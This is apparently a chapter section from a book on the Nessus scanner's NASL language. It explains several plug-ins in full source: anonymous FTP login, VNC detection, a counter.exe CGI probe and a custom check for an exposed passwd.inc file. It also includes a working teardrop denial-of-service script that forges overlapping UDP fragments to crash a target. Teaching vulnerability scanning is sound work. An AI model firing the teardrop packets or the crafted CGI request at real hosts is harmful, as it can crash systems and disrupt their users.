1.13. Nessus Plug-insNow that you understand NASL specifics, this section will help you understand how some of the important NASL plug-ins work. Once you understand how some of the existing plug-ins work, you will be able to refer to them when you need to write your own. The Section 1.13.5 later in this chapter quickly recaps all steps necessary to write and install your own plug-in from scratch. 1.13.1. Probing for Anonymous FTP AccessAdministrators sometimes forget to harden services that allow remote access. Some of these services come with default usernames and passwords. A Nessus plug-in can detect such vulnerabilities by attempting to log on to the remote service with a default username or password. For example, the ftp_anonymous.nasl plug-in connects to an FTP server to check if anonymous access is allowed: # # This script was written by Renaud Deraison <deraison@cvs.nessus.org> # # # See the Nessus Scripts License for details # if(description) { script_id(10079); script_version ("$Revision: 1.2 $"); script_cve_id("CAN-1999-0497"); script_name(english:"Anonymous FTP enabled"); script_description(english:" This FTP service allows anonymous logins. If you do not want to share data with anyone you do not know, then you should deactivate the anonymous account, since it can only cause troubles. Risk factor : Low"); script_summary(english:"Checks if the remote ftp server accepts anonymous logins"); script_category(ACT_GATHER_INFO); script_family(english:"FTP"); script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison"); script_dependencie("find_service.nes", "logins.nasl", "smtp_settings.nasl"); script_require_ports("Services/ftp", 21); exit(0); } # # The script code starts here : # include("ftp_func.inc"); port = get_kb_item("Services/ftp"); if(!port)port = 21; state = get_port_state(port); if(!state)exit(0); soc = open_sock_tcp(port); if(soc) { domain = get_kb_item("Settings/third_party_domain"); r = ftp_log_in(socket:soc, user:"anonymous", pass:string("nessus@", domain)); if(r) { port2 = ftp_get_pasv_port(socket:soc); if(port2) { soc2 = open_sock_tcp(port2, transport:get_port_transport(port)); if (soc2) { send(socket:soc, data:'LIST /\r\n'); listing = ftp_recv_listing(socket:soc2); close(soc2); } } data = " This FTP service allows anonymous logins. If you do not want to share data with anyone you do not know, then you should deactivate the anonymous account, since it may only cause troubles. "; if(strlen(listing)) { data += "The content of the remote FTP root is : " + listing; } data += " Risk factor : Low"; security_warning(port:port, data:data); set_kb_item(name:"ftp/anonymous", value:TRUE); user_password = get_kb_item("ftp/password"); if(!user_password) { set_kb_item(name:"ftp/login", value:"anonymous"); set_kb_item(name:"ftp/password", value:string("nessus@", domain)); } } close(soc); } For more information on the description functions used in the preceding code, see the Section 1.12.2 earlier in this chapter. The plug-in tests whether the remote host is running an FTP service by querying the Knowledge Base for Services/ftp. A plug-in that might have executed previously can set the value of Services/ftp to a port number where the FTP service was found. If the get_kb_item( ) function does not return a value, 21 is assumed. The get_port_state( ) function returns FALSE if the given port is closed, in which case the plug-in exits by calling exit(0). Otherwise, a TCP connection is established using the open_sock_tcp() function. The variable domain is set to a string returned by querying the Knowledge Base for the item Settings/third_party_domain, which is set to example.com by default. See the smtp_settings.nasl plug-in for details. The ftp_log_in( ) function is used to log in to the remote FTP server on the target host. The function accepts three parameters: the username (user), password (pass), and port number (socket). It returns TRUE if it is able to successfully authenticate to the remote FTP sever, and FALSE otherwise. The username that is passed to ftp_log_in( ) in this case is anonymous because the plug-in tests for anonymous access. The password that is sent will be the string nessus@example.com. If ftp_log_in() returns trUE, the plug-in invokes the ftp_get_pasv_port() function, which sends a PASV command to the FTP server. This causes the FTP server to return a port number to be used to establish a "passive" FTP session. This port number is returned by ftp_get_pasv_port(), and is stored in the variable port2. The open_sock_tcp() function is used to establish a TCP connection with the target host on the port number specified by port2. Next, a LIST string is printed to the socket descriptor (soc2) using the send( ) function. The FTP server then returns a listing of the current directory, which is stored in the listing string variable by invoking the ftp_recv_listing( ) function. The plug-in calls security_warning( ) to indicate a security warning to the Nessus user. See the "Reporting Functions" section later in this chapter for more details on reporting functions. The ftp/anonymous item is set to trUE in the Knowledge Base to indicate that the remote host is running an FTP server that allows anonymous access. This is useful in case another plug-in needs to know this information. The plug-in also checks for the ftp/password item, and if this is not set, the plug-in sets the value of ftp/login and ftp/password to anonymous and nessus@example.com, respectively. 1.13.2. Using Packet Forgery to Perform a Teardrop AttackNASL provides an API for constructing network packets to probe for specific vulnerabilities that require unique network packets to be forged. In this section, we will look at the teardrop.nasl plug-in which uses a packet-forging API provided by NASL to perform a "teardrop" attack against the target host. To launch a teardrop attack, two types of UDP packets are sent repeatedly to the host. The first UDP packet contains the IP_MF (More Fragments) flag in its IP header, which signifies that the packet has been broken into other fragments that will arrive independently. The IP offset of the first UDP packet is set to 0, and the length field of the IP header is set to 56. The second packet does not have the IP_MF flag set in its IP header, and it contains an offset of 20. The second UDP packet's IP length is set to 23. Note that these packets are erroneous because the second UDP packet overlaps with the first, but it's smaller in size than the first packet. Hosts susceptible to this attack are known to crash while attempting to realign fragmented packets of unequal length.be found at http://www.insecure.org/sploits/linux.fragmentation.teardrop.html. # # This script was written by Renaud Deraison <deraison@cvs.nessus.org> # # See the Nessus Scripts License for details # if(description) { script_id(10279); script_version ("$Revision: 1.2 $"); script_bugtraq_id(124); script_cve_id("CAN-1999-0015"); name["english"] = "Teardrop"; name["francais"] = "Teardrop"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = "It was possible to make the remote server crash using the 'teardrop' attack. An attacker may use this flaw to shut down this server, thus preventing your network from working properly. Solution : contact your operating system vendor for a patch. Risk factor : High"; desc["francais"] = "Il s'est avéré possible de faire planter la machine distante en utilisant l'attaque 'teardrop'. Un pirate peut utiliser cette attaque pour empecher votre réseau de fonctionner normallement. Solution : contactez le vendeur de votre OS pour un patch. Facteur de risque : Elevé"; script_description(english:desc["english"], francais:desc["francais"]); summary["english"] = "Crashes the remote host using the 'teardrop' attack"; summary["francais"] = "Plante le serveur distant en utilisant l'attaque 'teardrop'"; script_summary(english:summary["english"], francais:summary["francais"]); script_category(ACT_KILL_HOST); script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison", francais:"Ce script est Copyright (C) 1999 Renaud Deraison"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); exit(0); } # # The script code starts here # # Our constants IPH = 20; UDPH = 8; PADDING = 0x1c; MAGIC = 0x3; IP_ID = 242; sport = 123; dport = 137; LEN = IPH + UDPH + PADDING; src = this_host( ); ip = forge_ip_packet(ip_v : 4, ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN, ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src, ip_ttl : 0x40); # Forge the first UDP packet LEN = UDPH + PADDING; udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_ulen : LEN); # Change some tweaks in the IP packet LEN = IPH + MAGIC + 1; ip = set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC); # and forge the second UDP packet LEN = UDPH + PADDING; udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_ulen : LEN); # Send our UDP packets 500 times start_denial( ); send_packet(udp1,udp2, pcap_active:FALSE) x 500; alive = end_denial( ); if(!alive){ set_kb_item(name:"Host/dead", value:TRUE); security_hole(0); }
See the Section 1.12.2 earlier in this chapter for more information about the description functions used in the preceding code. The plug-in invokes the forge_ip_packet( ) function to construct the IP packet that will encapsulate the UDP packet. It accepts the following parameters:
The forge_udp_packet( ) function is used to construct the udp1 and udp2 UDP packets that will be sent to the target host. The forge_udp_packet( ) function accepts the following parameters:
Before udp2 is constructed, set_ip_elements( ) is called to tweak a few IP options in the IP packet contained in ip. The IP offset value is changed to 20, as specified by the MAGIC variable. The set_ip_elements() function accepts the same parameters as forge_ip_packet( ), in addition to the parameter ip which should hold the existing IP packet. After udp1 and udp2 are constructed, the start_denial( ) function is called. This function initializes some internal data structures for end_denial(). NASL requires that start_denial( ) be called before end_denial( ) is invoked. The plug-in sends the UDP packets 500 times by invoking send_packet() as follows: send_packet(udp1,udp2, pcap_active:FALSE) x 500; After the packets are sent, end_denial( ) is called to test whether the target host is still alive and responding to network packets. If end_denial( ) returns FALSE, the target host can be assumed to have crashed, and the plug-in invokes security_hole( ) to alert the Nessus user of the teardrop vulnerability. 1.13.3. Scanning for CGI VulnerabilitiesWeb-based CGI scripts often fail to filter malicious input from external programs or users, and are therefore susceptible to input validation attacks. One such vulnerability was found in a CGI script known as counter.exe. The script did not perform proper input validation on its parameters, enabling remote users to access arbitrary files from the host running the web server. The counter.nasl plug-in was written to check for this vulnerability, and its source code is as follows: # # This script was written by John Lampe...j_lampe@bellsouth.net # # See the Nessus Scripts License for details # if(description) { script_id(11725); script_version ("$Revision: 1.2 $"); script_cve_id("CAN-1999-1030"); script_bugtraq_id(267); name["english"] = "counter.exe vulnerability"; name["francais"] = "Counter.exe vulnerability"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " The CGI 'counter.exe' exists on this webserver. Some versions of this file are vulnerable to remote exploit. An attacker may make use of this file to gain access to confidential data or escalate their privileges on the Web server. Solution : remove it from the cgi-bin or scripts directory. More info can be found at: http://www.securityfocus.com/bid/267 Risk factor : Serious"; script_description(english:desc["english"]); summary["english"] = "Checks for the counter.exe file"; script_summary(english:summary["english"]); script_category(ACT_MIXED_ATTACK); # mixed script_copyright(english:"This script is Copyright (C) 2003 John Lampe", francais:"Ce script est Copyright (C) 2003 John Lampe"); family["english"] = "CGI abuses"; family["francais"] = "Abus de CGI"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "no404.nasl"); script_require_ports("Services/www", 80); exit(0); } # # The script code starts here # include("http_func.inc"); include("http_keepalive.inc"); port = get_kb_item("Services/www"); if(!port) port = 80; if(!get_port_state(port))exit(0); directory = ""; foreach dir (cgi_dirs( )) { if(is_cgi_installed_ka(item:string(dir, "/counter.exe"), port:port)) { if (safe_checks( ) == 0) { req = string("GET ", dir, "/counter.exe?%0A", "\r\n\r\n"); soc = open_sock_tcp(port); if (soc) { send (socket:soc, data:req); r = http_recv(socket:soc); close(soc); } else exit(0); soc2 = open_sock_tcp(port); if (!soc2) security_hole(port); send (socket:soc2, data:req); r = http_recv(socket:soc2); if (!r) security_hole(port); if (egrep (pattern:".*Access Violation.*", string:r) ) security_hole(port); } else { mymsg = string("The file counter.exe seems to be present on the server\n"); mymsg = mymsg + string("As safe_checks were enabled, this may be a false positive\n"); security_hole(port:port, data:mymsg); } } } The plug-in calls appropriate functions to provide users with appropriate information about itself, as described in Section 1.12.2 earlier in this chapter. The plug-in tests to see if the remote host is running an HTTP server by querying the Knowledge Base for Services/www. A plug-in that might have executed previously can set the value of Services/www to a port number where an HTTP server was found. If the get_kb_item( ) function does not return a value, 80 is assumed. The get_port_state( ) function returns FALSE if the given port is closed, in which case the plug-in exits by calling exit(0). Otherwise, cgi_dirs( ) is invoked within a foreach block to iterate through known directories where CGI scripts are commonly known to exist (for example: /scripts and /cgi-bin). For each directory returned by cgi_dirs( ), the plug-in checks for the existence of counter.exe by invoking is_cgi_installed_ka(). The is_cgi_installed_ka() function connects to the web server and requests the given file, returning trUE if it is found and FALSE otherwise. The counter.nasl plug-in calls safe_checks() to check if the user has enabled the "Safe checks" option. If the user has enabled this option, the plug-in returns by calling security_hole( ) to indicate that the vulnerable CGI has been found. If the user has not enabled the "Safe checks" option, safe_checks( ) returns FALSE, and the plug-in proceeds to send requests such as the following to the web server: GET /cgi-bin/counter.exe?%0A The %0A character is in hexadecimal form, and is equivalent to the linefeed character. Upon a response from the web server, the plug-in checks to see if the response contains the string Access Violation, which indicates the CGI is vulnerable. If this is the case, counter.nasl will invoke security_hole( ) to report the issue. Following is the plug-in code responsible for this: if (egrep (pattern:".*Access Violation.*", string:r) ) security_hole(port); 1.13.4. Probing for VNC ServersVirtual Network Computing (VNC) software allows you to remotely control another host via the network. For example, if you are running the server component of VNC on a Windows XP machine, you can access the desktop of the machine remotely from a Linux host running a VNC client. For more information about VNC, visit http://www.realvnc.com/. The VNC server runs on port 5901 by default. If port 5901 is not available, the server attempts to bind to the next consecutive port, and so on. When the client connects to the VNC server, the server will first output a banner string beginning with RFB. To test this, use the telnet client to connect directly to the TCP port being used by the VNC server: [bash]$ telnet 192.168.1.1 5901 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. RFB 003.007 The vnc.nasl plug-in aims to detect VNC servers on the remote host: # # This script was written by Patrick Naubert # This is version 2.0 of this script. # # Modified by Georges Dagousset <georges.dagousset@alert4web.com> : # - warning with the version # - detection of other version # - default port for single test # # See the Nessus Scripts License for details # if(description) { script_id(10342); script_version ("$Revision: 1.2 $"); # script_cve_id("CVE-MAP-NOMATCH"); name["english"] = "Check for VNC"; name["francais"] = "Check for VNC"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " The remote server is running VNC. VNC permits a console to be displayed remotely. Solution: Disable VNC access from the network by using a firewall, or stop VNC service if not needed. Risk factor : Medium"; desc["francais"] = " Le serveur distant fait tourner VNC. VNC permet d'acceder la console a distance. Solution: Protégez l'accès à VNC grace à un firewall, ou arretez le service VNC si il n'est pas desire. Facteur de risque : Moyen"; script_description(english:desc["english"], francais:desc["francais"]); summary["english"] = "Checks for VNC"; summary["francais"] = "Vérifie la présence de VNC"; script_summary(english:summary["english"], francais:summary["francais"]); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2000 Patrick Naubert", francais:"Ce script est Copyright (C) 2000 Patrick Naubert"); family["english"] = "Backdoors"; family["francais"] = "Backdoors"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes"); script_require_ports("Services/vnc", 5900, 5901, 5902); exit(0); } # # The script code starts here # # function probe(port) { if(get_port_state(port)) { soc = open_sock_tcp(port); if(soc) { r = recv(socket:soc, length:1024); version = egrep(pattern:"^RFB 00[0-9]\.00[0-9]$",string:r); if(version) { security_warning(port); security_warning(port:port, data:string("Version of VNC Protocol is: ",version)); } close(soc); } } } port = get_kb_item("Services/vnc"); if(port)probe(port:port); else { for (port=5900; port <= 5902; port = port+1) { probe(port:port); } } As usual, the plug-in calls appropriate functions to provide users with appropriate information about itself. The description functions are described in the Section 1.12.2 section earlier in this chapter. The plug-in tests to see if the remote host is running a VNC server by querying the Knowledge Base for Services/vnc. A plug-in that might have executed before can set the value of Services/vnc to a port number where a VNC server was found. If the get_kb_item( ) function does not return a value, a for loop iterates through ports 5900, 5901, and 5902. For every port, the function probe( ) is called. The probe() function invokes get_port_state( ). This get_port_state() function returns FALSE if the given port is closed, in which case the plug-in exits by calling exit(0). Otherwise, open_sock_tcp( ) is used to connect to the given port number. The open_sock_tcp( ) takes in one required parameter, the port number (port). Optional parameters to this function are timeout and transport. You can use the timeout parameter to set a TCP timeout value, and you can use the transport parameter to set an applicable Nessus transport as defined in Section 1.11.4. If the given port number is closed, open_sock_tcp( ) returns FALSE, in which case the probe( ) function simply returns. If the target port is open, open_sock_tcp( ) returns TRUE. The recv( ) function is used to receive data from the TCP port. Using the egrep() function, the data is then checked to see if it corresponds with the VNC banner. If a match is found, the plug-in assumes a VNC server is listening on the remote port and calls security_warning( ) to notify the Nessus user. 1.13.5. Installing Your Own Plug-inThe previous topics addressed the NASL API, and you have seen how to use NASL to write scripts to check for specific vulnerabilities. This section shows you how to write a simple plug-in from scratch, and how to install the plug-in. For the purposes of this exercise, let's assume the plug-in aims to discover the following vulnerability: a home-grown web application is known to serve a file, /src/passwd.inc, when the web browser requests it via a URL such as http://host/src/passwd.inc. Let's also assume the passwd.inc file contains usernames and passwords. To check for our vulnerability, we simply need to call is_cgi_installed() to test for the presence of /src/passwd.inc. Here is the appropriate NASL script to do so: if (description) { script_id(99999); script_version ("$Revision: 1.2 $"); script_name(english:"Checks for /src/passwd.inc"); desc["english"]="/src/passwd.inc is usually installed by XYZ web application and contains username and password information in clear text. Solution: Configure your web browser to not serve .inc files. Risk factor: High"; script_description(english:desc["english"]); script_summary(english:"Checks for the existence of /src/passwd.inc"); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (c)2004 Nitesh Dhanjani"); script_family(english:"CGI abuses"); script_require_ports("Services/www",80); exit(0); } include ("http_func.inc"); port=get_http_port(default:80); if(is_cgi_installed(item:"/src/passwd.inc",port:port)) security_hole(port); For more information about the description functions used in the preceding code, see the Section 1.12.2 earlier in this chapter. To install the script, place the code in a file called homegrownwebapp.nasl. Make sure this file is located in the /usr/local/lib/nessus/plugins/ directory of the host running the Nessus server. After you start the Nessus server and connect to it via the Nessus client, go to the Plugins tab and click the Filter tab. Check the "ID number" box and enter 99999 in the Pattern box, as shown in Figure 1-6. Figure 1-6. Searching for plug-insBecause our plug-in calls script_id() with 99999 as the parameter, the "Filter plugins..." window returns information about our plug-in. When you click the OK button, you should see "CGI abuses" listed under the "Plugin selection" listbox. Select "CGI abuses" by clicking it, and you should see the text "Checks for /src/passwd.inc" displayed in the listbox below it. Click it, and you should see a description of the plug-in, as shown in Figure 1-7. Figure 1-7. Plug-in detailsTo make sure the plug-in works, you need a web server that services the file /src/passwd.inc. If you have an Apache web server running on a host, create a file called src/passwd.inc within its web root directory. Now, enter the IP address of the host running the web server in the "Target selection" tab and click "Start the scan." If all goes well, you should see a Nessus report, as shown in Figure 1-8. Figure 1-8. Nessus report with output from our plug-inThe "http" port indicates a security hole due to the presence of /src/passwd.inc. That is all there is to writing, installing, and using your own plug-in in Nessus! |